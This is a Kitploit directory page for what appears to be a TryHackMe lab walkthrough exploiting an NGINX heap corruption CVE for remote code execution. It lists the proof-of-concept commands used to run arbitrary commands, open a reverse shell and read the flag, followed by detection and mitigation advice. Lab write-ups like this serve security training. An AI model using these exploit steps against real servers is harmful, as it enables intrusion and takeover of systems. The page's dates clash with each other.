Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-24945-NGINX-RIFT---TryHackMe-Lab-Walkthrough — This lab demonstrates the exploitation of CVE-2024-24945, a heap corruption vulnerability affecting NGINX. The objective was to understand how memory corruption can lead to Remote Code Execution (RCE) and gain practical experience in exploitation, detection, and mitigation techniques. | Kitploit
Tools/GitHubGitHub/benedictejepu/cve-2024-24945-nginx-rift---tryhackme-lab-walkthrough
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHub
benedictejepu/cve-2024-24945-nginx-rift---tryhackme-lab-walkthrough

CVE-2024-24945-NGINX-RIFT---TryHackMe-Lab-Walkthrough

View Repository
42 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

This lab demonstrates the exploitation of CVE-2024-24945, a heap corruption vulnerability affecting NGINX. The objective was to understand how memory corruption can lead to Remote Code Execution (RCE) and gain practical experience in exploitation, detection, and mitigation techniques.

Share

CVE-2024-24945-NGINX-RIFT---TryHackMe-Lab-Walkthrough

This lab demonstrates the exploitation of CVE-2024-24945, a heap corruption vulnerability affecting NGINX. The objective was to understand how memory corruption can lead to Remote Code Execution (RCE) and gain practical experience in exploitation, detection, and mitigation techniques.

Objectives

. Verify the vulnerable NGINX servive. . Execute arbitrary commands using the provided proof of concept (PoC). . Obtain a reverse shell on the target container. . Retrieve the challenge flag. . Understand detection and mitigation strategies.

Lab Environment

. Platform: TryHackMe . Target Service: NGINX RIFT . Containerized Environment: Docker . Exploit Tool: poc.py . Access Method: VNC (Virtual Network Computing)

Methodology

  1. Service Verification

  2. confirmed that the vulnerable container was running and accessible.

  3. root@kitploit:~
    sudo docker ps
    curl -s http://127.0.0.1:19321/api/users/42
    

backend ok

  1. Remote Code Execution

Executed the provided PoC to validate arbitrary command execution.

root@kitploit:~
pytho3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned

Verified successful execution:

root@kitploit:~
sudo docker exec nginx-rift-nginx-1
cat /tmp/pwned

Output: hello from depthfirst

Reverse Shell Access

Establish an interactive shell on the target container.

root@kitploit:~
python3 poc.py --shell

Successful Connection:

[] listening for reverse shell on port 1337... [] connected. $

  1. Flag Retrieval

Accessed the challenge flag.

root@kitploit:~
cat /flag.txt

Flag:

THM{18_y34r_%t4t3_m15m4tch_rip5_th3_h34p}

Detection Opportunities

Defenders may identify exploitation attempts through:

. NGINX worker crashes . Segmentation fault events . Unexpected outbound network connections . Suspicious shell processes (/bin/sh,bash) . unauthorized file creation in temporal directories

Mitigation Strategies

. Upgrade to a patched NGINX version. . Apply the principle of least privilege . . Restrict unnecesary outbound network traffic Implement continuous log monitoring. . Use container security controls and rubtime monitoring

Key Takeaways

This lab provided practical experience in:

. understanding heap corruption vulnerabilities. . Exploiting Remote Code Execution flaws. . Establishing reverse shells. . performing post exploitation validation. . Recognising indicators of compromise and mitiigation techniques.

Disclaimer

This exercise was performed in a controlled TryHackMe laboratory environmentg for educational and defensive cybersecurity training purposes only.

Author: [Benedict Ejepu Amaechi] Platform: TryHackMe Topic: CVE-2024-24945 9NGINX RIFT0 Exploitation and Defence Date Completed: June 2026

Download Tool